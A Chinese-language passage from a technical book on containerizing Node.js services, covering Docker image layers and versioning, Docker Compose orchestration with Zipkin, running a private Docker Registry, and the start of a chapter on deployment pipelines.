总的来说,使用 COPY . 将应用程序文件复制到 Docker 镜像是一个不错的方法。需要注意的一个警告是,这会复制每一个未被忽略的文件,包括 Dockerfile 本身,可能是一个庞大的 .git 目录(如果在项目根目录运行)。甚至会复制文本编辑器使用的临时文件!
因此,您需要勤奋地向 .dockerignore 文件添加条目,并且偶尔查看 Docker 镜像的文件系统(例如使用 docker exec <name> ls -la /srv)。您还应考虑仅在专用构建服务器上构建 Docker 镜像,而不是在本地开发机器上进行。
每个应该复制的文件都有特定的 COPY 指令可能也存在风险。例如,您的应用程序可能需要一个运行时读取的 JSON 文件,但没有显式复制,导致图像中的错误。
EXPOSE 指令是一种文档化镜像计划使用特定端口(此处为 1337)进行监听的方式。这并不会实际打开端口给外部世界;相反,当从镜像运行容器时才会执行这一操作。
两个ENV指令设置环境变量,这些变量这次将由应用程序本身使用。具体来说,HOST和PORT环境变量是服务用来决定监听哪个接口和端口的。应用程序默认监听127.0.0.1接口。保持不变将意味着应用程序只监听来自Docker 容器内部的请求,而不是来自主机生成的请求,这并不是非常有用。
最后,Dockerfile 以一个CMD指令结束。这是声明在运行容器时应该执行什么命令的一种方式。在这种情况下,将执行node二进制文件,并且它将运行producer-http-basic.js文件。这个命令可以在运行时被覆盖。
这个镜像还远非完美。官方的 Node.js 容器虽然稍微重一些,但也提供了其他一些便利之处。例如,当它们下载编译后的 Node.js tarballs 时,它们还会对它们进行校验和,以确保文件没有被篡改。它们还会创建一个专门的用户并设置文件系统权限以运行 Node.js 应用程序。你可以决定你的应用程序需要哪些功能。
从镜像到容器
Dockerfile 完成后,现在是从 Dockerfile 构建镜像的时候了。Dockerfile 及其支持文件存在于磁盘上,并且通常被检入版本控制。从它们生成的映像由 Docker 守护程序管理。
运行示例 5-5 中的命令,进入recipe-api目录,然后构建一个 Docker 镜像。
示例 5-5. 从 Dockerfile 构建镜像
$ cd recipe-api
$ docker build -t tlhunter/recipe-api:v0.0.1 .
这个docker build命令有一个标志和一个参数。标志是-t标志,表示镜像的标签。在本例中,使用的标签有三部分,遵循repository/name:version的模式。在这种情况下,仓库是命名空间镜像名称的一种方式,是tlhunter。名称表示镜像的实际内容,在这种情况下是recipe-api。版本用于区分镜像的不同发布版本,是v0.0.1。
关于版本,镜像不一定需要遵循特定的模式。在这种情况下,我选择了使用类似SemVer版本字符串的值,这是许多 Node.js 开发者熟悉的值。然而,应用程序通常不像包一样有一个 SemVer 版本分配给它们。一个常见的方法是简单地使用一个整数,每次新建容器时递增一个值。如果未提供版本,Docker 将提供一个默认的版本标签latest。一般来说,您应该始终提供一个版本。
在此命令运行时,您将会看到每个 Dockerfile 指令构建一个新层时的输出。每一个层都会打印其哈希值及其指令。命令完成时,我得到的输出看起来像这样:
Sending build context to Docker daemon 155.6kB
Step 1/15 : FROM node:14.8.0-alpine3.12 AS deps
---> 532fd65ecacd
... TRUNCATED ...
Step 15/15 : CMD [ "node", "producer-http-basic.js" ]
---> Running in d7bde6cfc4dc
Removing intermediate container d7bde6cfc4dc
---> a99750d85d81
Successfully built a99750d85d81
Successfully tagged tlhunter/recipe-api:v0.0.1
一旦镜像构建完成,您就可以基于此镜像运行一个容器实例。每个容器实例都附带有元数据,用于区分它与其他正在运行的容器。运行以下命令从您的容器创建一个新的运行容器实例:
$ docker run --rm --name recipe-api-1 \
-p 8000:1337 tlhunter/recipe-api:v0.0.1
此命令使用 --rm 标志来清理容器一旦运行完毕。 --name 标志将此容器命名为 recipe-api-1。 -p 标志将主机的 8000 端口映射到容器内 Node.js 应用程序正在监听的 1337 端口。最后一个参数是运行镜像的标签。
一旦您运行了该命令,您将会看到服务输出到屏幕上的一些信息。记录的第一条信息是容器内进程的 PID。在这种情况下,它打印出 worker pid=1,这意味着它是容器内的主进程。接下来打印的信息是服务正在监听的地址 http://0.0.0.0:1337。这是 Node.js 服务在 容器内 可用的接口和端口。
注意
请记住,服务认为它可用的地址与客户端用于联系它的地址不同。这可能会影响需要向客户端报告其 URL 的服务(例如提供其他资源 URL 的 API)。在这些情况下,您可以提供一个包含外部主机和端口组合的环境变量,供服务传递给消费者使用。
现在您已经准备好确认服务是否运行。由于容器将内部的 1337 端口映射到主机的 8000 端口,因此在发出请求时需要使用主机的端口。运行以下命令向您的容器化服务发出请求:
$ curl http://localhost:8000/recipes/42
一旦运行该命令,您应该会看到熟悉的 JSON 数据作为响应。如果您更改命令以使用端口 1337,则会收到连接被拒绝的错误。
不幸的是,由于该容器的设置方式,您无法键入 Ctrl + C 来停止运行容器。相反,您需要在新的终端窗口中运行以下命令来终止服务:
$ docker kill recipe-api-1
重新构建和版本化镜像
现在您已经构建了应用程序镜像并运行了一个容器,您可以修改应用程序并生成第二个版本了。应用程序随时都在变化,重要的是能够重新打包这些不同版本的应用程序并运行它们。保留旧版本的应用程序也很重要,因此如果新版本有问题,可以快速恢复到旧版本。
在recipe-api目录中,再次运行示例 5-5 中显示的docker build命令。这次,注意当命令运行时创建的层。这将作为检查构建应用程序的效果以及修改如何改变结果 Docker 镜像的基准。在我的情况下,看到的层如下:
532fd65ecacd, bec6e0fc4a96, 58341ced6003, dd6cd3c5a283, e7d92cdc71fe,
4f2ea97869f7, b5b203367e62, 0dc0f7fddd33, 4c9a03ee9903, a86f6f94fc75,
cab24763e869, 0efe3d9cd543, 9104495370ba, 04d6b8f0afce, b3babfadde8e
接下来,通过将路由处理程序替换为示例 5-6 中的代码,对.recipe-api/producer-http-basic.js文件(应用程序的入口点)进行更改。
示例 5-6。recipe-api/producer-http-basic.js,已截断
server.get('/recipes/:id', async (req, reply) => {
return "Hello, world!";
});
现在,从示例 5-5 中运行build命令。注意输出并修改命令以使用v0.0.2的版本标签。在我的情况下,现在看到的层如下:
532fd65ecacd, bec6e0fc4a96, 58341ced6003, dd6cd3c5a283, e7d92cdc71fe,
4f2ea97869f7, b5b203367e62, 0dc0f7fddd33, 4c9a03ee9903, a86f6f94fc75,
7f6f49f5bc16, 4fc6b68804c9, df073bd1c682, f67d0897cb11, 9b6514336e72
在这种情况下,镜像的最后五层已更改。具体来说,从COPY . .行及以下的所有内容都已更改。
接下来,恢复producer-http-basic.js文件的更改,将请求处理程序恢复到之前的状态。然后,通过运行以下命令修改应用程序构建过程的较早阶段:
$ npm install --save-exact left-pad@1.3.0
通过安装新软件包,package.json和package-lock.json文件的内容将会不同。因此,Docker 将知道不要重用与早期COPY指令将这些文件复制到deps阶段的现有层相关的层。它知道不要重用缓存的层,因为表示在层中的文件系统的哈希将会不同。再次运行示例 5-5 命令,这次使用v0.0.3的版本标签,以查看更改对镜像构建过程的影响。在我的情况下,现在看到的层如下:
532fd65ecacd, bec6e0fc4a96, 959c7f2c693b, 6e9065bacad0, e7d92cdc71fe,
4f2ea97869f7, b5b203367e62, 0dc0f7fddd33, 4c9a03ee9903, b97b002f4734,
f2c9ac237a1c, f4b64a1c5e64, fee5ff92855c, 638a7ff0c240, 12d0c7e37935
在这种情况下,release镜像的最后六层已更改。这意味着从COPY --from=deps指令及以下的所有内容都已更改。此外,deps阶段的最后两层也已更改。由于deps阶段的层不直接影响基于release阶段的整体镜像,所以这部分并不那么重要。
那么,五层和六层的这种区别究竟意味着什么?嗯,每一层都为代表 Docker 镜像的整体层堆栈贡献了不同的文件系统条目。运行以下命令查看您的应用程序v0.0.1版本的每个层的大小:
$ docker history tlhunter/recipe-api:v0.0.1
某些指令不会对文件系统大小产生贡献,大小为 0B。例如,ENV、CMD、EXPOSE 和 WORKDIR 指令对不具有文件大小的层次进行了关联。其他指令则有所贡献。例如,FROM ... release 指令对生成的图像贡献了约 5.6MB。RUN apk add 指令增加了 80MB。从 COPY . . 指令得到的实际应用程序代码仅对图像贡献了约 140kB。然而,在应用程序更新中最有可能变化的部分是 COPY --from=deps 指令。对于这个示例应用程序,node_modules 目录包含了大量不需要的条目,因为它包含了其他项目文件的包,如 GraphQL 和 gRPC 包。在这种情况下,它的大小约为 68MB。大多数使用 Node.js 编写的项目由约 3% 的第一方应用程序代码和约 97% 的第三方代码 组成,因此这种文件大小比例并不过分。
表格 5-1 包含了你创建的三个不同应用程序版本的摘要。层次 列包含层次编号和指令运行的简称。大小 列包含该层次的大小。技术上,三个应用程序版本的层次大小有所不同,例如在安装 left-pad 包时,但层次大小差异基本可以忽略,所以只显示了 v0.0.1 图像中的层次大小。最后,版本号下的列包含该层次的哈希值。如果哈希与先前版本有所不同,则用粗体显示。
更改应用程序代码的效果,即 v0.0.2 列中的第 11 层,当将图像 v0.0.2 部署到已有图像 v0.0.1 的服务器时,需要额外增加 138kB 的空间。通过更改某一层的内容,每个依赖于它的后续层也会发生变化。由于第 12 至 15 层不会对整体文件大小产生影响,因此仅导致总体增加了 138kB。
表 5-1. Docker 图像层比较
| 层次 | 大小 | v0.0.1 | v0.0.2 | v0.0.3 |
|---|---|---|---|---|
1: FROM node AS deps |
N/A | 532fd65ecacd |
532fd65ecacd |
532fd65ecacd |
2: WORKDIR /srv |
N/A | bec6e0fc4a96 |
bec6e0fc4a96 |
bec6e0fc4a96 |
3: COPY package* |
N/A | 58341ced6003 |
58341ced6003 |
959c7f2c693b |
4: RUN npm ci |
N/A | dd6cd3c5a283 |
dd6cd3c5a283 |
6e9065bacad0 |
5: FROM alpine AS release |
5.6MB | e7d92cdc71fe |
e7d92cdc71fe |
e7d92cdc71fe |
6: ENV V |
0 | 4f2ea97869f7 |
4f2ea97869f7 |
4f2ea97869f7 |
7: ENV FILE |
0 | b5b203367e62 |
b5b203367e62 |
b5b203367e62 |
8: RUN apk ... |
79.4MB | 0dc0f7fddd33 |
0dc0f7fddd33 |
0dc0f7fddd33 |
9: WORKDIR /srv |
0 | 4c9a03ee9903 |
4c9a03ee9903 |
4c9a03ee9903 |
10: COPY node_modules |
67.8MB | a86f6f94fc75 |
a86f6f94fc75 |
b97b002f4734 |
11: COPY . . |
138kB | cab24763e869 |
7f6f49f5bc16 |
f2c9ac237a1c |
12: EXPOSE |
0 | 0efe3d9cd543 |
4fc6b68804c9 |
f4b64a1c5e64 |
13: ENV HOST |
0 | 9104495370ba |
df073bd1c682 |
fee5ff92855c |
14: ENV PORT |
0 | 04d6b8f0afce |
f67d0897cb11 |
638a7ff0c240 |
15: CMD |
0 | b3babfadde8e |
9b6514336e72 |
12d0c7e37935 |
| 每次部署成本 | N/A | 138kB | 68MB |
更改安装包的影响是 v0.0.3 列的第 10 层,将需要向已安装 v0.0.2 或甚至 v0.0.1 的服务器发送额外的 67.8MB 数据。
通常,Node.js 应用程序代码的变化频率要比 package.json 文件(因此也就是 node_modules 中的条目)高得多。通过 apk 命令安装的操作系统包更不可能改变。因此,通常希望将复制应用程序文件的指令放在复制 node_modules 的指令之后,后者又应该放在安装操作系统包的指令之后。
最后需要注意的是,您经常会看到 Docker 容器标记为 latest 的版本。如果要在构建镜像时使此标记可用,您可以将每个镜像构建两次。第一次构建镜像时,为其提供一个版本字符串。然后第二次构建时,不要提供版本字符串。当省略版本时,Docker 将填充为 latest,但这可能会让人感到困惑。例如,如果您将一个镜像标记为 v0.1.0,同时将其标记为 latest,然后回头再标记一个镜像为 v0.0.4 并将其标记为 latest,那么 latest 标签不会指向最高版本的镜像(v0.1.0),而是指向最近生成的镜像(v0.0.4)。因此,有时最好不要将镜像标记为 latest,而只发布带有确切版本号的镜像。
使用 Docker Compose 进行基本编排
Docker 是一种方便的工具,用于打包服务的依赖关系,无论是像 Postgres 这样的稳定后端存储还是每天都在变化的高动态 Node.js 应用程序。通常,其中一个服务将依赖于另一个服务的运行。事实上,到目前为止您构建的 web-api 和 recipe-api 服务就是这种情况的典型示例。
迄今为止,通过这些服务,您需要手动复制并粘贴 shell 命令来启动依赖服务,但是管理项目的这种脚本集合可能变得难以控制。每个docker run命令可能需要多个配置标志,特别是如果它们依赖于卷挂载和复杂的端口分配。
有时,多个服务被打包到同一个容器中。在 “使用 ELK 进行日志记录” 中使用的 sebp/elk 镜像就是这样,提供了 Elasticsearch、Logstash 和 Kibana 的集成。在本地开发机上使用这种方法有时是有意义的,特别是当使用密切相关的服务时,它确实简化了这些服务的实例化过程。但是在处理应用程序代码时,将后端服务与主应用程序捆绑在一起就不太合适了。
考虑一个依赖于 Redis 的 Node.js 服务。将 Redis 与应用程序捆绑在一起可以使在本地运行应用程序变得更加容易。但是在生产环境中,多个服务可能需要使用同一个 Redis 实例,这种便利性就不再适用了。那时,你需要创建两个 Dockerfile——一个将 Redis 与本地开发结合在一起,另一个则不包含 Redis 用于生产环境;或者使用单一的 Dockerfile,根据设置的标志选择性地启动 Redis。使用多个 Dockerfile 的方法意味着需要维护两个文件——这些文件可能会意外地分歧。而使用单个 Dockerfile 的方法则意味着你会在生产环境中运送一些不必要的内容。
幸运的是,有另一种工具可以管理这些容器之间的关系。事实上,这个工具之前已经在 “通过 Docker 运行 Cabot” 中使用过。这个工具就是 Docker Compose。Docker Compose 已经集成在 Docker Desktop 中。如果你在 Linux 上使用 Docker,则需要单独安装它。查看 附录 B 获取更多信息。
Docker Compose 允许通过使用单个声明性的 docker-compose.yml 文件配置多个依赖的 Docker 容器。该文件包含可以表示为 docker run 标志的相同配置数据,以及这些容器之间的依赖关系图等其他信息。
组合 Node.js 服务
现在是时候将你一直在处理的那对应用程序转换为使用 Docker Compose 运行了。在本节中,你将使用你在 “使用 Zipkin 进行分布式请求跟踪” 中创建的服务的 Zipkin 变体。这些服务的依赖图在 图 5-3 中可视化。在这种情况下,web-api 服务依赖于 recipe-api 服务,而这两个服务都依赖于 Zipkin。

图 5-3. 消费者、生产者和 Zipkin 依赖图
完成本节后,你将能够通过执行单个命令来运行所有三个服务。在一个较大的组织中,这种方法可以用来简化部分后端堆栈的本地开发。
首先,将你在示例 5-1 中创建的recipe-api/.dockerignore文件复制到web-api/.dockerignore。这个文件相当通用,对于两种应用程序都很有用。
接下来,你将创建一个更简单的 Dockerfile 变体。这个版本不执行所有强大的多阶段工作,以创建像在“容器化一个 Node.js 服务”中涵盖的那样的瘦身镜像,但它足够简单,可以快速启动两个新的应用程序。在recipe-api/Dockerfile-zipkin中创建一个文件,包含示例 5-7 中的内容。
示例 5-7. recipe-api/Dockerfile-zipkin
FROM node:14.8.0-alpine3.12
WORKDIR /srv
COPY package*.json ./
RUN npm ci --only=production
COPY . .
CMD [ "node", "producer-http-zipkin.js" ] # change for web-api
一旦你创建了那个文件,将其复制到web-api/Dockerfile-zipkin,然后修改最后一行的CMD指令以执行正确的consumer-http-zipkin.js文件。
当运行像docker build这样的特定命令时,它们假定配置是使用名为Dockerfile的文件完成的,但是你已经在recipe-api中有一个运行producer-http-basic.js服务的Dockerfile。在像这样的项目中存在多个配置的情况下,惯例是将文件命名为*Dockerfile-**。各种docker子命令接受一个标志来指定不同的 Dockerfile。
通过初步工作,你现在可以开始创建docker-compose.yml文件了。如果你的服务依赖于其他服务,你可能会发现自己将这个文件检入源代码仓库。在这种情况下,在distributed-node/目录的根目录中创建文件。然后,从示例 5-8 中添加内容开始。
示例 5-8. docker-compose.yml,第一部分
version: "3.7"
services:
zipkin: 
image: openzipkin/zipkin-slim:2.19 
ports: 
- "127.0.0.1:9411:9411"
此行定义了一个名为“zipkin”的服务。
这是镜像的名称。
此服务的端口映射。
这只是 Docker Compose 文件的开始。第一个version键声明文件正在使用的 Compose 文件版本。官方 Docker 网站维护 Compose 版本与 Docker 版本兼容矩阵。Docker 偶尔会添加不向后兼容的功能。在这种情况下,文件使用的是版本 3.7,这与至少 Docker 版本 18.06.0 兼容。
其后是services键,其中包含文件管理的服务列表。服务基本上是指一个容器,尽管一个服务在技术上可以引用多个复制的容器实例。在 Compose 文件的第一部分中,已声明了zipkin服务。在每个服务定义内部都有进一步的键值对,就像用于zipkin服务的两个所用的那样。
image键是引用将用作服务模板的图像的一种方式。对于zipkin服务,将使用openzipkin/zipkin-slim镜像。该值等效于传递给docker run的参数。
ports关键字用于定义端口映射。在这种情况下,容器中的端口 9411 将映射到主机的端口 9411,并且只能从主机内部访问。此条目与docker run命令的-p标志对应。
现在第一个服务已经定义好了,请将示例 5-9 的内容添加到您的docker-compose.yml文件中以添加第二个服务。
示例 5-9. docker-compose.yml,第二部分
## note the two space indent
recipe-api:
build: 
context: ./recipe-api
dockerfile: Dockerfile-zipkin
ports:
- "127.0.0.1:4000:4000"
environment: 
HOST: 0.0.0.0
ZIPKIN: zipkin:9411
depends_on: 
- zipkin
不使用命名图像,而是提供 Dockerfile 的路径。
服务使用的环境变量对。
zipkin服务应在此容器之前启动。
此服务条目代表recipe-api服务,比zipkin服务复杂一些。
首先,image条目已被更复杂的build对象替换。image对于引用已在其他地方构建的镜像很有用。但是,build对象允许 Docker Compose 在调用时将 Dockerfile 构建成镜像。该build对象内部有两个键。第一个是context,指的是构建镜像的目录,本例中是recipe-api子目录。当配置文件名称不是Dockerfile时,dockerfile键是必需的,在本例中指向Dockerfile-zipkin文件。
environment对象包含键/值对,其中键是环境变量的名称,值是环境变量的值。在本例中,HOST值被覆盖为 0.0.0.0,以便应用程序接受来自 Docker 容器外部的请求。ZIPKIN环境变量指的是应用程序将与之通信的主机/端口组合,本例中是zipkin主机名和 9411 端口。
初始主机名可能看起来有点可疑。它来自哪里?Docker 不应该使用类似localhost的东西吗?默认情况下,任何 Docker 服务都可以使用服务名称访问任何其他服务。depends_on指令确保容器按特定顺序启动。还有其他可用指令可以更改一个容器在另一个容器中的主机名。
现在您可以向docker-compose.yml文件添加最终的服务定义了。将示例 5-10 的内容添加到描述web-api服务中。
示例 5-10. docker-compose.yml,第三部分
## note the two space indent
web-api:
build:
context: ./web-api
dockerfile: Dockerfile-zipkin
ports:
- "127.0.0.1:3000:3000"
environment:
TARGET: recipe-api:4000
ZIPKIN: zipkin:9411
HOST: 0.0.0.0
depends_on:
- zipkin
- recipe-api
最后一块拼图完成后,告诉 Docker Compose 通过运行以下命令启动您的服务:
$ docker-compose up
一旦完成这些步骤,你需要等待一分钟,直到输出稳定下来。在此期间,将启动这三个服务。一旦事情平静下来,可以在另一个终端窗口依次运行三个curl命令来生成一些请求:
$ curl http://localhost:3000/
$ curl http://localhost:4000/recipes/42
$ curl http://localhost:9411/zipkin/
第一个curl命令确认web-api服务正在监听请求。接下来的命令确认recipe-api也正在监听请求。最后一个命令确认 Zipkin 正在运行并且也在监听请求。
提示
假设此 Docker Compose 文件是为了本地开发中的web-api服务而创建的,你技术上不需要将zipkin和recipe-api端口暴露给主机。换句话说,省略recipe-api的ports字段仍然允许web-api向recipe-api发出请求。但根据我的经验,将上游服务的端口暴露出来可以更轻松地调试故障服务。
Docker Compose 提供了一种描述多个容器之间配置和关系的便捷方式。然而,它以相当静态的方式描述这些关系。它不帮助动态增加或减少运行中服务的数量,也不帮助部署服务的更新版本。简而言之,它非常适合本地开发,但在部署动态应用程序到生产环境时有些欠缺。第七章描述了部署应用程序到生产环境的更强大方法。
此时,你可以删除由 Docker Compose 创建的服务。切换到运行它的终端窗口,并按下 Ctrl + C 来终止它。完成后,运行以下命令来删除这些服务:
$ docker rm distributed-node_web-api_1 \
distributed-node_recipe-api_1 distributed-node_zipkin_1
内部 Docker 注册表
Docker 注册表是存储 Docker 镜像及其伴随层的地方。默认情况下,Docker CLI 配置为使用Docker Hub,即 Docker 的官方公共注册表。在本书中,你已经下载了托管在 Docker Hub 上的各种镜像,从 ELK 堆栈到官方 Node.js 镜像。在 Docker 领域,开源项目应该有它们的镜像在 Docker Hub 上可用的惯例。
这对于上传和下载公共的开源项目非常有用。你甚至可以在 Docker Hub 上创建一个帐户,在本文撰写时,你可以免费托管一个私有仓库。你还可以选择升级到付费帐户,以更多地托管私有仓库,每个仓库的成本大约为一美元。
提示
到目前为止,您一直在使用的 repository/name:version 约定实际上是命令 server/repository/name:version 的简写。当省略 server 部分时,Docker CLI 默认使用 docker.io 的 Docker Hub 仓库。repository 部分也有默认值。例如,命令 docker pull node:14.8.0-alpine3.12 也可以用更简洁的版本 docker pull docker.io/library/node:14.8.0-alpine3.12 表示。
许多组织选择托管自己的内部 Docker Registry。根据仓库的数量,这可能比使用 Docker Hub 更昂贵或更便宜。还有非成本方面的要求。例如,将服务锁定在企业防火墙后以达到安全/合规目的可能很重要。许多组织需要能够在外部公共服务(如 Docker Hub)不可用或无法访问时部署应用程序。
运行 Docker Registry
Docker 提供了一个官方的 Docker Registry Docker 镜像,可用于运行一个自托管的服务,用于存储 Docker 镜像。反过来,Docker CLI 工具可以配置为与此注册表通信,使您和组织内其他人员能够存储和与私有镜像交互。
到目前为止,Docker 并不是运行您已使用的许多后端服务的最佳方法,假设它们需要处理生产流量。例如,Graphite 和 StatsD 在生产中可能接收到如此高的负载,以至于在 Docker 中运行它们的开销可能无法跟上。然而,Docker Registry 并不根据您的公共面向应用程序接收的流量量来接收负载。相反,它可能每天只接收几百个请求,因为镜像被构建和部署。因此,在 Docker 容器中运行 Docker Registry 完全没问题。
运行以下命令以启动 Docker Registry 的副本:
$ docker run -d \
--name distnode-registry \
-p 5000:5000 \
--restart=always \
-v /tmp/registry:/var/lib/registry \
registry:2.7.1
此命令几乎适用于生产使用,尽管您需要将卷挂载到比 /mnt/ 更永久的位置。您还希望保持它不被公开访问,以启用 TLS 终止,并在放置任何敏感内容之前甚至在启用身份验证。
-d 标志将服务分叉到后台运行。这在生产环境中非常有用,但如果启动注册表遇到问题,您可能希望省略该标志。
现在您的注册表已经运行起来了,是时候发布您正在工作的一些镜像了。之前在“容器化 Node.js 服务”中,您创建了同一 recipe-api 应用程序的三个版本。您将使用这些带标签的镜像为注册表提供一些新鲜数据。
有两组命令你需要为每个带标签的镜像运行。第一组是docker image tag,这是一种为已经有标签的镜像指定新标签的方法。这对于指定一个标签的镜像应该发布到哪个服务器非常有用,比如你的新 Docker 注册表服务。运行以下命令三次,每次为你之前创建的每个应用程序版本运行一次:
# run for each of v0.0.1, v0.0.2, v0.0.3
$ docker image tag tlhunter/recipe-api:v0.0.1 \
localhost:5000/tlhunter/recipe-api:v0.0.1
推送和拉取到注册表
完成后,你几乎可以发布你在本地开发机器上构建的镜像到 Docker 注册表上。从技术上讲,你正在运行注册表与你在其上构建镜像的同一台机器上,但即使你在本地运行注册表服务,这些命令也可以工作。事实上,甚至当你在本地运行注册表服务时,它仍然与本地机器上的 Docker 守护程序隔离开来。
在运行这些命令之前,请回想一下关于镜像层大小的结论,该结论在表格 5-1 中有所涉及。根据这些数据,部署v0.0.2之后部署v0.0.1的额外成本是数百千字节。然而,部署v0.0.3在部署v0.0.2之后是数十兆字节。运行下一组命令时请记住这一点。
你将用来将镜像发送到 Docker 注册表的命令以docker push开头。这很像运行git push或npm publish,它会将镜像的本地副本发送到远程服务器上。运行以下命令三次,每次为你的应用程序的每个版本运行一次:
# run for each of v0.0.1, v0.0.2, v0.0.3
$ time docker push localhost:5000/tlhunter/recipe-api:v0.0.1
这个命令已经用time命令前缀了,它会打印复制镜像所花费的时间。表格 5-2 列出了每个镜像在我的机器上部署所花费的时间。
表格 5-2. Docker 镜像部署时间
| 版本 | 时间 |
|---|---|
| v0.0.1 | 4.494 秒 |
| v0.0.2 | 0.332 秒 |
| v0.0.3 | 3.035 秒 |
首次部署耗时最长,因为需要复制所有基础镜像,比如 Alpine 镜像和第一个迭代的node_modules。第二次部署最快,因为只涉及小的应用程序更改。第三次较慢,因为需要一个新的node_modules迭代。总体而言,几秒钟的部署时间可能看起来不算太糟糕,但在生产环境中,你会看到大型镜像被复制,可能会达到数百兆字节,并且它们可能会在不同的机器之间通过网络复制。真正的要点是更改node_modules目录导致部署时间增加了十倍。
当你的应用程序镜像安全存储在 Docker 注册表中时,现在是模拟需要将镜像下载到新服务器的情况的时候了。这可以通过从本地机器上移除镜像的副本来完成。运行以下命令,首先从你的机器上删除镜像,然后尝试从丢失的镜像启动一个容器:
$ docker rmi localhost:5000/tlhunter/recipe-api:v0.0.2
$ docker rmi tlhunter/recipe-api:v0.0.2
$ docker run tlhunter/recipe-api:v0.0.2 # should fail
标签最终指向一个镜像,由镜像的哈希引用。第一个docker rmi命令删除指向镜像的标签,但是镜像文件仍然存在于磁盘的某个地方。运行第二个命令后,对镜像的最终引用被删除,并且磁盘上的实际文件也被删除。调用docker run将失败,因为引用的标签已不存在。此错误消息应该类似于Unable to find image tlhunter/recipe-api:v0.0.2 locally。Docker CLI 将尝试从公共仓库获取镜像,并且假设我没有意外地在我的tlhunter帐户下发布了这样的镜像,也将失败。
现在,你的机器类似于一个全新的服务器,上面没有存储recipe-api:v0.0.2镜像(技术上说,它确实有一些层,但没有完整的镜像)。现在是时候从 Docker Registry 下载镜像到你的机器上了,就像你部署应用程序到服务器上一样。运行以下命令模拟此过程:
$ docker pull localhost:5000/tlhunter/recipe-api:v0.0.2
$ docker image tag localhost:5000/tlhunter/recipe-api:v0.0.2 \
tlhunter/recipe-api:v0.0.2
$ docker run tlhunter/recipe-api:v0.0.2 # this time it succeeds
第一个docker pull命令将镜像下载到你的机器上。镜像的名称是包含localhost:5000服务器前缀的完全限定名称。接下来的docker image tag命令使用较短的名称使镜像可用。最后的docker run命令使用较短的名称别名执行容器的副本。技术上,你可以跳过第三步并使用完整名称的docker run,但这样做可以使用之前的相同运行命令。
运行 Docker Registry UI
到目前为止,你已经能够完全使用 Docker CLI 工具与 Docker Registry 进行交互。这对于以编程方式执行操作当然很方便,但有时候使用 UI 浏览镜像更加便利。Docker Registry 镜像并不带有 UI。这可能是因为 Docker 更希望你购买其付费产品,这些产品带有 UI。
有几个项目提供 Docker Registry UI,其中大多数出乎意料地运行在 Docker 容器内。运行以下命令启动提供 Docker Registry UI 的容器:
$ docker run \
--name registry-browser \
--link distnode-registry \
-it --rm \
-p 8080:8080 \
-e DOCKER_REGISTRY_URL=http://distnode-registry:5000 \
klausmeyer/docker-registry-browser:1.3.2
此容器不需要任何持久性,并配置为一旦完成运行就会被删除。--link 和 -e DOCKER_REGISTRY_URL 标志允许它直接连接到你已经运行的 Docker Registry。这个容器应该很快启动。一旦准备就绪,请在浏览器中访问http://localhost:8080。
网页加载完成后,应该能看到一个包含你推送的镜像命名空间的屏幕。在这种情况下,你应该看到一个名为tlhunter的单个工作区。这个工作区应该列出一个名为recipe-api的镜像条目,这是目前唯一推送的镜像。点击该条目。
在接下来的屏幕上,您应该看到与此镜像相关的标签列表。由于您已经为此镜像推送了三个标签,您应该看到列出的v0.0.3、v0.0.2和v0.0.1,类似于图 5-4 中显示的内容。
点击您心仪的任何标签。在接下来的屏幕上,您将看到关于该特定标签的更多信息,例如创建时间、镜像哈希、与镜像关联的环境变量,甚至是镜像使用的层(及其关联的文件大小)。甚至还有一个名为“历史”的部分,其中包含与运行docker history相同的信息。

图 5-4. Docker Registry 浏览器截图
现在您已经完成了本节,是时候进行一些清理工作了。可以通过在其终端窗口中运行 Ctrl + C 来终止 Registry Browser 容器。Docker Registry 本身将需要另一步骤,因为它在后台运行。运行以下命令来停止容器:
$ docker stop distnode-registry
$ docker rm distnode-registry
^(1) Alpine 使用musl而不是glibc作为其 C 标准库,这可能会导致兼容性问题。
^(2) 该文件的这一部分以一些注释符号开头。这是为了避免前导空格引起的歧义,因为这可能导致 YAML 错误。
第六章:部署
部署,简而言之,是将代码从一个位置移动到另一个位置。对于某些平台,这只是复制一堆文件的简单过程。例如,许多应用程序可以通过复制原始源代码文件(如 PHP、Python 和 Perl 脚本)进行部署,随后的 HTTP 请求将自动执行更新后的文件。静态站点通常以相同的方式部署。更复杂的持续运行的应用程序需要额外的步骤来停止和启动进程。这些示例包括发布 Node.js 源文件、编译的 Go 二进制文件或 Python 脚本。^(1)
现代应用程序应该通过侦听端口使其可消耗(参见https://12factor.net/port-binding以获取详细信息)。无论应用程序是在传统上由 Web 服务器调用的平台上编写的(例如 PHP,您可能会在 Docker 容器中包含 Apache 和 PHP),还是在 Node.js 中编写的(其中进程直接侦听请求,希望仍然涉及外部反向代理)。当源代码文件发生更改时,Node.js 进程可以重新启动。像nodemon和forever这样的包为使本地开发更轻松提供了这种功能。^(2)
在实践中,部署比“只是复制一些文件”要正式得多。部署过程通常由许多阶段组成,其中复制应用程序代码只是最后阶段的一部分。还需要进行其他操作,例如从版本控制检出源代码、安装依赖项、构建/编译、运行自动化测试等。部署应用程序所需的阶段集合被称为构建流水线。
通常,软件开发中最重要的部分之一是管理构建流水线的关键组件。一种流行的软件类别是持续集成(CI)服务。持续集成是一种软件开发实践,即对应用程序进行的自包含更改不断进行测试、合并到主干分支并部署。CI 服务器负责管理构建流水线,使这一过程成为可能。
无论用于管理构建流水线的工具是什么,几乎所有地方都会使用一些通用概念:
构建
构建是将应用程序代码库的快照(例如特定的 Git 提交)转换为可执行形式的过程。这可能涉及使用 Babel 转译代码,从 npm 安装依赖项,甚至生成 Docker 镜像。
发布
发布是将特定构建与配置设置结合的过程。例如,一个构建可以发布到分别具有两种不同配置的暂存和生产环境。
构件
构件是在构建流水线的某个阶段生成的文件或目录。这可以是多个阶段之间使用的内容,如 Docker 镜像,也可以是构建的副产品,例如由nyc包生成的代码覆盖报告。
每个新版本发布都应有其自己的名称。此名称应为一个递增的值,例如整数或时间戳。当将更新的应用程序部署到服务器时,这意味着新文件(表示一个发布的文件)被复制到服务器,应用程序被执行,并且之前的发布被取消。
在进行这些操作时,保留若干之前的发布版本非常重要。如果发现新发布有问题,工程师应能够回滚到之前的版本,这称为 回滚 操作。保留之前的发布可以简单地通过在 Docker 仓库中保留旧的 Docker 镜像来实现。
现在,您已经熟悉了关于持续集成和构建流水线的一些概念,是时候熟悉特定的持续集成服务了。
使用 Travis CI 构建流水线
本书主要考虑开源工具,特别是您可以自行运行的工具。然而,由于部署到远程服务的特性,接下来的几节将使用平台即服务(PaaS)工具的免费套餐。主要是为了避免您花费在服务器托管或域名注册等方面的资金,以及尽快让您开始运行。
